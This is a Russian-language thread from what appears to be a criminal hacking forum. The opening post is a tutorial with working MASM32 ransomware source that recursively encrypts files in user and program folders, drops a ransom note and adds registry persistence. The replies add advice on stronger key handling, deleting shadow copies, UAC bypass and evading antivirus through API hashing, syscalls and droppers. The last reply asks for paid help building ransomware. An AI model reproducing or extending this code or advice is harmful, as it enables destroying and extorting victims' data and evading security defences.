• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создание простого Ransomware на Assembler (MASM32) весом 4кб

IPirateS6

(L3) cache
Пользователь
Регистрация
02.06.2020
Сообщения
211
Реакции
107
Всех приветствую. Сегодня мы напишем свой ransom на MASM'е. На написание данной статьи, как и на выбор языка меня подтолкнуло лютое распостранение нечисти в виде клипперов/стиллеров/неба/@ллаха и прочих достаточно простых малварей написанных на C#, продающихся на нынешнем рынке. Хочется обратиться к авторам: вам не стыдно такое продавать? Не стыдно ли вам обманывать других покупателей? "Шкварится" перед другими более адекватными коллегами? Так что я буду периодически публиковать статьи о написании труъ малварей на нативных языках, дабы показать, что малвари можно и НУЖНО писать нативные.

Ну что ж, с приветствиями окончено, пора приступать к самой статье. Код результата, как всегда, в конце статьи.

Для начала настроим линкер, чтобы размер билда был максимально маленьким.
1.Поставим параметр приложения Windows
Код:
/SUBSYSTEM:WINDOWS
2.Соединим сегменты в один - .text
Код:
/MERGE:.code=.text /MERGE:.rdata=.text
3.Вставим кастомный dos stub (ненужная в современных реалиях "заглушка", которая добавляет вашему билду лишних байт)
Код:
/STUB:C:\gay\custom_dos_stub.bin
Здесь после двоеточия вставляете путь к вашему стабу.

Советую почитать об оптимизации программы статью c0d3r_0f_shr0d13ng3r. Там же вы и найдёте стаб.

Далее перейдём к написанию самого шифровальщика:
Напишем главную функцию:

Код:
...
.data
TheString      db '*',0
spec1 db "%s%s", 0
spec2 db "\", 0
...
OSPath1 db "USERPROFILE", 0
Desk        db "\Desktop\", 0
FullPath1 db 260 dup(0)

FullPath2 db "C:\Program Files\", 0

FullPath3 db "C:\Program Files (x86)\", 0

OSPath4 db "APPDATA", 0
FullPath4 db 260 dup(0)

OSPath5 db "LOCALAPPDATA", 0
FullPath5 db 260 dup(0)

.code
start:
    invoke    GetModuleHandle, NULL    ;получим handle экземпляра программы
    mov    hInstance, eax
    invoke    GetCommandLine        ;получим адрес командной строки
    invoke    WinMain, hInstance ,NULL, CommandLine, SW_SHOWDEFAULT ;вызов основной программы (в стандарте Windows)
    invoke ExitProcess,eax        ;выход из программы с кодом в EAX
WinMain proc,  hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
;Получаем пути, вызываем процедуру с рекурсивным поиском и шифровкой файлов.
;Первый аргумент процедуры - путь к директории с символом \ в конце.
invoke GetEnvironmentVariable, addr OSPath1, addr FullPath1, 260
invoke lstrcatA, addr FullPath1, offset Desk
invoke FindMe, addr FullPath1, addr TheString ;вот мы вызываем функцию рекурсивного поиска и шифровки файлов

invoke FindMe, addr FullPath2, addr TheString

invoke FindMe, addr FullPath3, addr TheString

invoke GetEnvironmentVariable, addr OSPath4, addr FullPath4, 260
invoke lstrcatA, addr FullPath4, offset spec2
invoke FindMe, addr FullPath4, addr TheString

invoke GetEnvironmentVariable, addr OSPath5, addr FullPath5, 260
invoke lstrcatA, addr FullPath5, offset spec2
invoke FindMe, addr FullPath5, addr TheString

;Затем создадим файл рабочего стола с сообщением, добавим его в автозагрузку
;и в конце выведем сообщение в MessageBox
invoke DoWarning

ret
WinMain endp

Далее напишем функцию для крипта строк. Я выбрал XorCrypt только ради примера. Этот алгоритм шифрования не подойдёт для боевых условий, так как легко ревёрсится и ключ можно легко подобрать. Если вы спросите какой алгоритм я бы посоветовал, то я бы сказал, что AES-128 неплохо бы подошёл, ибо он более-менее надёжен и не слишком медленный. Естественно чтобы получить +100 к эффективности нужно использовать рандомный ключ. Его потом надо бы на сервер отправить (если, конечно, вы желаете расшифровывать потом файлы;)).
Код:
XorCrypt PROC, lpBytes:PTR BYTE, dwFileSize:DWORD  ;основной алгоритм шифрования, вы можете его изменять как хотите. Добавляйте add/sub чё хотите добавляйте - ваше право
;lpBytes - непосредственно байты для шифровки. dwFileSize - размер файлов(кол-во байтов)
cmp dwFileSize, 0 ;Если файл пустой, то зачем его шифроваТь
jz noXor
mov ecx, 0
mov eax, lpBytes
mov dh, 10h ;это будет прибавлятся, чтобы xor шифрование не было таким убогим
mov dl, BYTE PTR [key]
@@:
add [eax+ecx], dh
xor [eax+ecx], dl
inc ecx
cmp ecx, dwFileSize
jne @b

noXor:
ret
XorCrypt ENDP

Далее основная часть нашей малвари. Процедура рекурсивного поиска и крипта по средствам вышенаписанной функции.
Код:
FindMe PROC, Path:DWORD, filter:DWORD ;функция рекурсивного поиска и шифрования файлов
  LOCAL PathName[256]:byte
  LOCAL buffer1[256]:byte
  LOCAL hFind:DWORD  
  LOCAL dwTemp:DWORD
  LOCAL Buffer:PTR BYTE
  LOCAL hFile:PTR DWORD
                                       
              invoke lstrcpy, addR PathName, Path    ; put initial dir to PathName
              invoke lstrcat, addr PathName, filter  ; add * wildcard to PathName
              invoke FindFirstFile, addr PathName, addr fd      
              mov hFind, eax
   .if hFind == -1
    ret
   .endif      
             
  .while eax > 0
          invoke wsprintfA, addr buffer1, addr spec1, Path, addr fd.cFileName
          cmp  fd.cFileName, "."                              ; if '.'found skip them
          jz nextf
          test fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY            ; check if its a dir
          jz itsafile                                                  ;if not then jump to the file proc
            invoke lstrcatA, addr buffer1, addr spec2
            invoke FindMe,addr buffer1, filter                        ; recursive call
            jmp nextf
itsafile:  
            ;invoke MessageBoxA, 0, addr buffer1, 0, 0            
            ; вот тут мы нашли файл и обрабатываем его
            invoke CreateFileA, addr buffer1, 80000000h or 40000000h, 0, 0, 3, 0, 0 ;открываем файл на чтение и запись
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke GetFileSize, hFile, 0 ;получаем размер файла в байтах
mov ebx, eax
.IF ebx>268435456   ;Если оно будет переваривать что-то больше 128 МБ, то это ё6нуца можно 0_0
ret
.ENDIF
invoke GetProcessHeap
invoke HeapAlloc, eax, 8h, ebx ;сюда впердолим чтобы выделило столько байт сколько в размере файла
mov Buffer, eax
invoke ReadFile, hFile, Buffer, ebx, addr dwTemp, 0  ;читаем байты с файла
.IF eax == 0
jmp EndEnc
.ENDIF

xor eax, eax
invoke XorCrypt, Buffer, ebx ;Шифруем байты с файла
mov esi, eax ;перемещаем шифрованые байты в другой регистр
mov [dwTemp], 0 ;ставим значение написаных байт в 0
invoke SetFilePointer, hFile, 0, 0, 0 ;смещаем указатель в начало файла
invoke WriteFile, hFile, esi, ebx, addr dwTemp, 0 ;записываем в файл
EndEnc:
invoke CloseHandle, hFile
invoke GetProcessHeap
invoke HeapFree, eax, 0, Buffer
            ;invoke MessageBox,0, addr buffer1, 0, 0          
nextf:    
            invoke FindNextFile, hFind, addr fd              ; next
  .endw
            invoke FindClose,hFind
          ret        
FindMe endp

И как заключительный этап - процедура вызывания предупреждения и добавления в автозагрузку файла с самим предупреждением (способ добавления в автозагрузку можете выбирать сами, я выбрал ради примера добавление в реестр).
Код:
DoWarning PROC
LOCAL hFile:PTR DWORD
LOCAL dwTemp:DWORD

invoke lstrcatA, addr FullPath1, offset file_name
invoke CreateFileA, offset FullPath1, 40000000h, 0, 0, CREATE_ALWAYS, 0, 0 ;открываем файл на запись
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke lstrlenA, offset MessageRans ;размер сообщения
mov ebx, eax
invoke WriteFile, hFile, offset MessageRans, ebx, addr dwTemp, 0 ;записываем в файл текст с требованием
invoke CloseHandle, hFile


;Добавим в автозагрузку (метод добавления в автозагрузку можете выбирать какой захотите,
;но я выбрал через реестр)
invoke RegCreateKey, HKEY_CURRENT_USER,addr SubKey1, addr HKey
invoke  GetModuleFileName, 0, addr namebuf, MAX_PATH
invoke  RegSetValueEx, HKey, addr namebuf, 0, REG_SZ, ADDR FullPath1, eax
invoke  RegCloseKey, HKey

;То же самое сообщение, но в MessageBox
invoke MessageBoxA, 0, offset MessageRans, 0, 00000040h
ret
DoWarning ENDP

По похожему принципу написан билд с расшифровкой(только убрано добавление в реестр, запись в файл и вместо сложения+ксора сделали ксор+вычитание (получаем обратный результат)). Сурсы также будут в конце статьи.

Вот и всё. Понимаю, читая код из статьи, можно не понять что происходит в виду отсутствия переменных перед глазами (тех, что находятся в сегменте .data), поэтому я советую, читая эту статью, сопоставлять всё написанное с нижеприкреплённым кодом.
Возможно, я напишу продолжение данной статьи с исправлением/добавлением нужного функционала.
Если быть конкретнее, то это:
-Рандомный ключ и его отправка
-Отправка на сервер данных, включая HWID, UserName, Key(наш ключ)
-Более стойкий алгоритм шифрования
-Сокрытие API и шифрование строк
-Более тщательная оптимизация размера программы
-Визуальный контроль жертв в виде web-панели
-Возможно, ещё что-то этакое

Если есть замечания прошу не молчать, писать. Каждое мнение указывающее на ошибки развивает мышление и дополняет опыт кодера (и не только его).

Ну, что же, вот то что вы так долго ждали и хотели, сурсы и анализ файла на antiscan.me . Сразу хочу сказать, что детекты можно легко сбить скрыв API, зашифровав строки, нацепив иконку и сертификат.
 

Вложения

  • Simple Ransomware.zip
    8.2 КБ · Просмотры: 41
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Далее напишем функцию для крипта строк. Я выбрал XorCrypt только ради примера. Этот алгоритм шифрования не подойдёт для боевых условий, так как легко ревёрсится и ключ можно легко подобрать. Если вы спросите какой алгоритм я бы посоветовал, то я бы сказал, что AES-128 неплохо бы подошёл, ибо он более-менее надёжен и не слишком медленный. Естественно чтобы получить +100 к эффективности нужно использовать рандомный ключ. Его потом надо бы на сервер отправить (если, конечно, вы желаете расшифровывать потом файлы;)).
Для крипта строк брать aes-128?
на 128 байтный ключ спокойно подбирается брутом.
Это конкретно строки.

1. Конкретно самого алгоритма шифрования мог бы привести простой вызов виндового криптоапи BcryptEncrypt - с предварительной генерацией уникального ключа на основе HWID, ip etc. (ключ должен быть как минимум 256)

2. Нужно было наложить aes ключ каким-нибудь ассиметричным шифрованием под типу rsa4 с 4096 байтовым открытым ключом. (такой стандарт самый минимум). Иначе бесполезно.

3. Просто лочить все файлы не пойдет. Один диск может забиться и будет шифровать у тебя 10 лет. Не эффективно. Конкретно нужно было определить несколько томов и под них выделить треды. Но это тоже такой себе вариант. Лучше всего использовать ассинхронность (ReadFile/WriteFile с OVERLAPPED) и с IOCP. Это помогло бы быстрее шифровать. Читай реверсы локеров.

4. Не надо шифровать все подярд. Тем более весь файл. Ты знаешь, что будет если файл с 20 гб зашифровать. Твой поток ввода/вывода так заполнится, что опять же 10 лет нужно ждать шифрования всего файла. Как минимум чанками через определенные шаги.

5. Нету удаление точек восстановления/теневых копий/корзины. А тут бекапы сделают и какой толк от такого шифрования? Ни какого.

6. Нет обхода ЮАК->повышение привелегий, если юзер в учетке админа. А это бывает полезным.

7. Нету элементарного хеширования апи. Такой код сразу покажет, что делает твоя малварь. Нету разбавлений левыми апи. И тем более на одном хешировании далеко не уедешь. Как миниум обходить проактивку на ринг3 - вызов сисколов для таких функции как: CreateFile, ReadFile, WriteFile, bcrypt и т.п. Тысчи открывающихся/закрывающихся хендлов легко установят, что это локер.

Не вижу в этой статье ничего полезного. Старые техники, старые методы. Получается неполноценный локер, который по сути ничего не может сделать. Обычный понт вбросить асм код. И кто вообще сейчас кодит на асме? Как вариант есть тот же самый Си, Си++, а в этих языках ты более ориентирован на написания грамотной архитектуры, нежели думать, обнулил ли ты регистр.

А на счет вброса на С#. Пусть делают, и тем более, лучше они пишут свои не до стилеры, клиперы нежели локеры.
И сейчас даже пахую на вес. Твой 6кб "монстр" прямой путь в облако. Нормальный локер не будет весить столько просто потому что нынешние даже не юзают криптоапи из-за задроченности эвристики. Им лучше вырезать из какой-нибудь библиотеки. Зато надежно.
Тем более, на пш, жс можно сделать дропер с LoadPe в пару кб, который скачет твою малварь в 500кб и запустит у себя в памяти.

Сейчас нужно думать над архитектурой, добавлять фичи нежели следить за весом.

p.s. Не пишу на шарпе, чистый Си+асм. Не локер.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вообще локер с таким скудным функционалом можно было бы написать на чем угодно и он бы весил примерно столько же (например на С без CRT или на C#). И не понят наезд на С#, тут проблема не в платформе, а в руках в основном.
 
Для крипта строк брать aes-128?
на 128 байтный ключ спокойно подбирается брутом.
Это конкретно строки.

1. Конкретно самого алгоритма шифрования мог бы привести простой вызов виндового криптоапи BcryptEncrypt - с предварительной генерацией уникального ключа на основе HWID, ip etc. (ключ должен быть как минимум 256)

2. Нужно было наложить aes ключ каким-нибудь ассиметричным шифрованием под типу rsa4 с 4096 байтовым открытым ключом. (такой стандарт самый минимум). Иначе бесполезно.

3. Просто лочить все файлы не пойдет. Один диск может забиться и будет шифровать у тебя 10 лет. Не эффективно. Конкретно нужно было определить несколько томов и под них выделить треды. Но это тоже такой себе вариант. Лучше всего использовать ассинхронность (ReadFile/WriteFile с OVERLAPPED) и с IOCP. Это помогло бы быстрее шифровать. Читай реверсы локеров.

4. Не надо шифровать все подярд. Тем более весь файл. Ты знаешь, что будет если файл с 20 гб зашифровать. Твой поток ввода/вывода так заполнится, что опять же 10 лет нужно ждать шифрования всего файла. Как минимум чанками через определенные шаги.

5. Нету удаление точек восстановления/теневых копий/корзины. А тут бекапы сделают и какой толк от такого шифрования? Ни какого.

6. Нет обхода ЮАК->повышение привелегий, если юзер в учетке админа. А это бывает полезным.

7. Нету элементарного хеширования апи. Такой код сразу покажет, что делает твоя малварь. Нету разбавлений левыми апи. И тем более на одном хешировании далеко не уедешь. Как миниум обходить проактивку на ринг3 - вызов сисколов для таких функции как: CreateFile, ReadFile, WriteFile, bcrypt и т.п. Тысчи открывающихся/закрывающихся хендлов легко установят, что это локер.

Не вижу в этой статье ничего полезного. Старые техники, старые методы. Получается неполноценный локер, который по сути ничего не может сделать. Обычный понт вбросить асм код. И кто вообще сейчас кодит на асме? Как вариант есть тот же самый Си, Си++, а в этих языках ты более ориентирован на написания грамотной архитектуры, нежели думать, обнулил ли ты регистр.

А на счет вброса на С#. Пусть делают, и тем более, лучше они пишут свои не до стилеры, клиперы нежели локеры.
И сейчас даже пахую на вес. Твой 6кб "монстр" прямой путь в облако. Нормальный локер не будет весить столько просто потому что нынешние даже не юзают криптоапи из-за задроченности эвристики. Им лучше вырезать из какой-нибудь библиотеки. Зато надежно.
Тем более, на пш, жс можно сделать дропер с LoadPe в пару кб, который скачет твою малварь в 500кб и запустит у себя в памяти.

Сейчас нужно думать над архитектурой, добавлять фичи нежели следить за весом.

p.s. Не пишу на шарпе, чистый Си+асм. Не локер.
Огромное спасибо за столь вместительные замечания! В следующей статье, скорее всего, постараюсь осуществить написанное вами. Всё-таки эта статья была больше вводной, нежели "боевой". А касаемо веса, то тут я думаю, трудно поспорить, что вес тоже играет немаловажную роль. А пш, как мне кажется, не самый лучший вариант, ибо исключает WinXP, которую не хотелось бы игнорировать. Ещё раз спасибо!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Огромное спасибо за столь вместительные замечания! В следующей статье, скорее всего, постараюсь осуществить написанное вами. Всё-таки эта статья была больше вводной, нежели "боевой". А касаемо веса, то тут я думаю, трудно поспорить, что вес тоже играет немаловажную роль. А пш, как мне кажется, не самый лучший вариант, ибо исключает WinXP, которую не хотелось бы игнорировать. Ещё раз спасибо!
вес играЛ немаловажную роль. А сейчас как уже отписал выше есть всякие дроперы. И не забывай, что базово криптовать будешь малварь, а в криптовке полюбому накрываются минимумом crt.
Тем более тебе придется юзать сампольный aes для шифрования файла т.к. вызов криптоапи аверским хуком ловится на раз-два. А генерация ключа та же самая шляпа. Т.е. BcryptGenerateSimmetricKey тоже хукается и в итоге в дампе окажется твой ключ в чистом ввиде, а в итоге после шифрования аверы смогут дешифровать.

Лучше запили на Си, С++. И народу понятно, и меньше гемора.

Удачи.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дежавю, как будто я писал с 2012-13.. масм, стиль кода.

IPirateS6 замечания
1. проверяйте значения , которые возвращают функции, т.к. может вернуть ошибку открытие реестра, и ничего никуда не запишется.
2. нет поиска сетевых шар, что сейчас важно в локере;
3. все иное (юак, юникод) отписали выше.
4. можно посмотреть энкодер от вазонеза, там тоже устаревший софт (уже), но хороший пример и на масм.
 
А вообще есть годная реализация рансома на гитхабе? А то я запрос сделал, а там столько шлака показалось. Или может что-то из известного. Может там сурки утекли.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А вообще есть годная реализация рансома на гитхабе? А то я запрос сделал, а там столько шлака показалось. Или может что-то из известного. Может там сурки утекли.
лучше посмотри реверсы всяких вайтушников.
Там много че интересного есть.
Например блог mcAfee
 
Amazing my friend, can you do a personnal basic script for me or teach me how to learn assembly programming language ? I wish to build my ransom but I'm too noob to coding this language.. If we can discuss about money if you want, I'll be really glad to learn.. Thanks a lot, have a nice day :)

And waiting for some update, this post is so cool :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх